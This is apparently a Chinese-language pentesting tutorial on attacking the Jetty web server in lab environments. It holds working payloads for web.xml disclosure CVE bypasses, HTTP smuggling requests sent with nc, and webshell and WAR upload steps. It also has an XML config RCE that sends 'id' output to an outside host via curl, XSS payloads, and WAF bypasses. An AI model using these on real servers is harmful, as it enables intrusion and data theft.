Eclipse Jetty是一个Java Web 服务器和Java Servlet容器。虽然 Web 服务器通常与向人们提供文档相关联,但 Jetty 现在通常用于机器对机器的通信,通常在更大的软件框架内。Jetty 是作为Eclipse Foundation的一部分开发的免费和开源项目。Web 服务器用于Apache ActiveMQ、Alfresco、Scalatra、Apache Geronimo、Apache Maven、Apache Spark、Google App Engine、Eclipse、FUSE、iDempiere、Twitter 的 Streaming API和Zimbra。Jetty 也是Lift、Eucalyptus、OpenNMS、Red5、Hadoop和I2P等开源项目中的服务器。Jetty 支持最新的 Java Servlet API(支持JSP)以及协议HTTP/2和WebSocket。
在开始了解Jetty利用方式之前,需要了解一下关于Jetty
小知识
$JETTY_HOME
映射Jetty
分发目录即start.jar
启动目录$JETTY_BASE
包含配置文件、WEB应用。在Jetty
启动机制中,会优先高到低的顺序加载配置:$JETTY_BASE
目录及其文件--include-jetty-dir
及其文件$JETTY_HOME
目录及其文件至于演示使用的环境,除了使用vulhub外,我还自行搭建了一个简单的环境,至于如何搭建建议看官网手册。
发送HTTP请求时,响应包的Server标头会返回Jetty版本信息(默认返回)。
在GET请求的URL后面添加;
(也有说是;"
,但是我复现时发现使用;
也能达到相同的目的),可以识别大部分的Jetty中间件
Jetty
服务器响应包一般都为200
,Nginx
一般为404
向Jetty
服务器请求数据中添加;test
,响应包为200
接着向Nginx
服务器请求包添加相同的数据,响应包为404
Jetty服务,默认情况下会在404页面
显示当前版本信息
Web.xml
别名部署标识符文件(Deployment Descriptor file),一般来说Web.xml
文件一般都是在WEB-INF目录中。Web.xml
危害几乎都是信息泄露
,无法单独拿该漏洞做文章!
下面看一个简单的Web.xml
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <servlet> <servlet-name>comingsoon</servlet-name> <servlet-class>mysite.server.ComingSoonServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>comingsoon</servlet-name> <url-pattern>/*</url-pattern> </servlet-mapping> </web-app>
xml
文件根元素被命名为web-app
servlet
服务器设置servlet-name
服务器名称servlet-class
服务器类servlet-mapping
定义servlet
和URL
模式之间的映射servlet-name
该名称对应servlet-name
url-pattern
用来解析URL/*
映射到mysite.server.ComingSoonServlet
应用类需要注意的是。在Java Servlet Spec 3.0
后,可以不用web.xml
文件配置应用程序,可以通过Java类和注解
到达相同的目的
至于xml
其他标识符这里就不继续讲解了,有需要可以访问链接查询
影响版本: 9.4.37-9.4.38
直接访问/WEB-INF/web.xml
显示404
在/WEB-INF/...
前面添加/%2e
可以绕过下载web.xml
,记住不能直接使用浏览器写入/%2e
,不然可能会因为浏览器解析问题导致失败
/%2e/WEB-INF/web.xml
影响版本:<= 9.4.40、10.0.2、11.0.2
正常情况无法通过/static?/WEB-INF/web.xml
访问到敏感文件web.xml
将W进行双重URL编码可以绕过拦截,访问敏感文件web.xml
/static?/%2557EB-INF/web.xml
影响版本:9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5
jetty 9.4.40虽然说修复了%2e
导致的敏感信息泄露漏洞CVE-2021-28164,但是由于修复不完善还可以使用下面三个方法绕过
/%u002e/WEB-INF/web.xml
\0
组合.
导致的绕过:/.%00/WEB-INF/web.xml
\0
组合..
导致的绕过:/a/b/..%00/WEB-INF/web.xml
访问/%u002e/WEB-INF/web.xml
绕过下载
/%u002e/WEB-INF/web.xml
影响版本:
Jetty 9.4.6——Jetty 9.4.36
Jetty 10.0.0
Jetty 11.0.0
在Eclipse Jetty 9.4.6.v20170531
到 9.4.36.v20210114(含)、10.0.0
和 11.0.0
中,当Jetty处理包含多个带有大量“质量”(即 q)参数的 Accept标头的请求时,由于处理这些质量值的 CPU 使用率高,服务器可能会进入拒绝服务 (DoS) 状态,从而导致处理这些质量值的CPU时间用尽数分钟。
环境搭建:
git clone https://github.com/motikan2010/CVE-2020-27223
cd CVE-2020-27223
mvn spring-boot:run
环境搭建好了,直接使用环境内的poc脚本
影响版本:
想看详细讲解jetty
走私过程。推荐看原文:https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc4
环境搭建使用Dockerfile
FROM jetty:9.4.9 RUN mkdir /var/lib/jetty/webapps/root RUN bash -c 'set -ex \ && cd /var/lib/jetty/webapps/root \ && wget https://tomcat.apache.org/tomcat-7.0-doc/appdev/sample/sample.war \ && unzip sample.war' EXPOSE 8080 ENTRYPOINT ["/docker-entrypoint.sh"] CMD ["java","-jar","/usr/local/jetty/start.jar"]
运行Dockerfile
sample.war
软件放到本地http
服务器下载HTTP/0.9
printf 'GET /?test=4564 HTTP/0.9\r\n'\ 'Range: bytes=36-42\r\n'\ '\r\n'\ |nc 127.0.0.1 8994 , World
双倍内容长度
printf 'GET /?test=4970 HTTP/1.1\r\n'\ 'Host: localhost\r\n'\ 'Connection: keepalive\r\n'\ 'Content-Length: 0\r\n'\ 'Content-Length: 45\r\n'\ '\r\n'\ 'GET /?test=4971 HTTP/1.1\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ 'GET /?test=4972 HTTP/1.1\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ |nc 127.0.0.1 8994 | grep "HTTP" HTTP/1.1 200 OK HTTP/1.1 200 OK
块大小属性截断
printf 'POST /?test=4975 HTTP/1.1\r\n'\ 'Transfer-Encoding: chunked\r\n'\ 'Content-Type: application/x-www-form-urlencoded\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ '1ff00000008\r\n'\ 'abcdefgh\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ 'POST /?test=4976 HTTP/1.1\r\n'\ 'Content-Length: 5\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ |nc 127.0.0.1 8994|grep "HTTP/1.1" HTTP/1.1 200 OK HTTP/1.1 200 OK
Jetty当没有设置根应用目录、文件时,会显示webapps
里目录信息
如果没有设置根应用程序,而是通过web.xml
映射方式提供服务,那么可以采用下面方式获取应用上下文目录
demo-simple.xml配置
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd"> <Configure class="org.eclipse.jetty.webapp.WebAppContext"> <Set name="contextPath">/</Set> <Set name="war"><Property name="jetty.webapps" default="." />/demo-simple.war</Set> <Set name="virtualHosts"> <Array type="java.lang.String"> <Item>test.local</Item> <Item>172.22.16.108</Item> </Array> </Set> </Configure>
通过浏览器访问,jetty
会正常进行工作,但是,如果我们在Host
标头中附带不属于xml Item
标签内的信息通过GET请求发送,在应用响应的结果中会显示目录上下文
信息
在xml Item
标签添加127.0.0.1
演示
无法通过添加127.0.0.1 Host 标头
获取上下文目录信息
使用新的标头,依然可以获取上下文信息
jsp Jetty
是基于Apache Jasper
的模块支持JSP
默认情况下,org.eclipse.jetty.jsp.JettyJspServlet
负责处理Jetty
中的JSP
文件。
$JETTY_HOME/etc/webdefault.xml
配置文件,默认情况下会将下面类型文件解析为JSP
文件
jetty中要解析JSP
文件,需要启动jsp
模块
java -jar start.jar --module=jsp
常见上传JSP
一般都会保存在$JETTY_BASE/webapps/root
,这种RCE
方式只需要了解一下就行。
Jetty
如果没有设置固定的"工作"目录,每次启动服务时生成的临时目录都会附带上随机数字字符串
临时目录结构如下:
"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"+randomdigits+"
.dir
,但是我环境中就没有发现有加上.dir
。这里需要注意一下,有可能是我的问题。0.0.0.0
是主机地址,8080
是端口,test_war
是resourceBase,test
(root
)是上下文路径(将/转换为_),any
是虚拟主机,randomdigits
是一串随机数字。这里我的上下文目录可能有些多,所以看起来有点乱,只需要知道test
(root
)代表的是webapps
里面的目录即可。
如果能找到已经创建的临时目录,可以尝试上传shell
到$JETTY_BASE/work/"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"/webapps/
中
webapps
目录,那么就无法成功访问。设置工作目录
设置工作目录只需要在${jetty.base}
目录创建一个work
目录,而且work
目录一般都用作WEB
应用程序所有临时文件夹的父目录,启动服务时,会在work
目录创建临时目录
在“工作”目录下的临时目录结构如下:
"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"
0.0.0.0
是主机地址,8080
是端口,demo-simple_war
是resourceBase,test
(root
)是上下文路径(将/转换为_),any
是虚拟主机。当无法上传jsp
文件时,我们还可以上传war
文件GETSHELL
。
制作war webshell
文件只需要将shell
文件压缩成war
后缀即可
zip -r shell.war index.jsp
将war
文件上传到$jetty_base/webapps/
,这样就可以RCE
了
服务器没有开启jsp
模块,那么即使上传war
文件也无法RCE
,只能使用servlet
创建java
应用完成RCE
除去上述上传jsp
、war
文件可以RCE
外,还可以通过上传XML
文件进行RCE
XML
文件有自己的语法,允许实例化任何对象,并调用getter
、setter
和方法。
XML代码
<?xml version="1.0"?> <!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd"> <Configure class="org.eclipse.jetty.server.handler.ContextHandler"> <Call class="java.lang.Runtime" name="getRuntime"> <Call name="exec"> <Arg> <Array type="String"> <Item>/bin/sh</Item> <Item>-c</Item> <Item>curl -F "r=`id`" http://192.168.0.0:80</Item> </Array> </Arg> </Call> </Call> </Configure>
XML
文件上传后无需要服务器重启,jetty
的热部署功能会自动扫描部署新的web
应用程序
JETTY
服务器不仅可以上传总所周知的.html
或.svg
文件,还可以上传其他冷门扩展名的文件。
有效载荷:
xml 载荷<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert('PTSWARM')</script>
html 载荷<script>alert('PTSWARM')</script>
我这里比较懒就直接抄作业了
除了上述这些文件可以上传导致XSS外,如果JETTY
服务器响应时没有Content-type 标头,可以尝试自定义内容MIME
类型,都可以导致XSS
,不过载荷一般都是使用<script>alert('PTSWARM')</script>
jetty
绕过这段,我没弄成本地环境,也找不到相关环境。所以就直接用原文的内容。
原文地址:https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/
了解了Jetty
服务器如何解析URL
地址,我们可以绕过代理服务器上的过滤器。想象一下,Jetty
服务器部署在NGINX
代理后面,其规则阻止对 /adminURL/*
的请求。
location ~ /adminURL/ { deny all; } location / { proxy_pass http://localhost:8080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; }
如果只在代理上配置了这个规则,我们可以向/adminURL;random/
发送HTTP
请求,并获得对服务器上受保护资源的访问权限。
JSP文件代码
<%@ page import="java.io.File" %> <%@ page import="java.util.Scanner" %> <% File myObj = new File(request.getParameter("filename")); Scanner myReader = new Scanner(myObj); while (myReader.hasNextLine()) { String data = myReader.nextLine(); out.println(data); } myReader.close(); %>
应用程序从用户请求中接收filename
参数,使用该参数中的路径打开文件,并将文件内容返回给用户。这是一个允许我们读取任意文件的漏洞。但是,如果应用程序受到WAF
的保护,该WAF
会阻止所有在GET或POST
参数中包含/
的请求呢?
被WAF
拦截情况下,可以利用request.getParameter
方法处理参数的方式。getParameter
在不同的中间件服务器上工作方式都有所不同。getParameter
在jetty
应用程序调用时,getParameter
会在GET
和POST
参数中查找值。如果使用POST
请求发送Content-Type: multipart/form-data
,Jetty
会将该请求使用单独的解析器来解析。
如果POST参数中包含_charset_
字段,则多部份解析将使用指定的编码处理所有参数
。这样我们可以使用字符编码来绕过WAF
拦截,因为WAF
不可能识别所有不同编码的字符
图片中使用的是ibm037
编码
使用上面的方法绕过waf
需要服务器启动多部份处理。如果服务器托管处理文件上传的应用程序,则将启用多部分处理。
不启动多部份处理的服务器可能会跟图片下提示
解析多部份请求的边界时,解析器在到达;
边界字符串就会停止。;
后面的所有字符串都会被忽略。
jetty从多部份请求中提取参数名称时,会把反斜杠清除,即\[any_symbol]
被转换成[any_symbol]
。我们可以利用该机制绕过WAF
,下面使用XSS
漏洞演示
https://en.wikipedia.org/wiki/Jetty_(web_server)
https://cloud.google.com/appengine/docs/legacy/standard/java/config/webxml#:~:text=and%20URL%20paths-,web.,corresponds%20to%20the%20request%20method.
https://docs.oracle.com/cd/E24329_01/web.1211/e21049/web_xml.htm#WBAPP529
https://examples.javacodegeeks.com/enterprise-java/jetty/jetty-web-xml-configuration-example/
https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/
https://www.eclipse.org/jetty/documentation/jetty-11/operations-guide/index.html
https://github.com/motikan2010/CVE-2020-27223
https://github.com/vulhub/vulhub
https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc4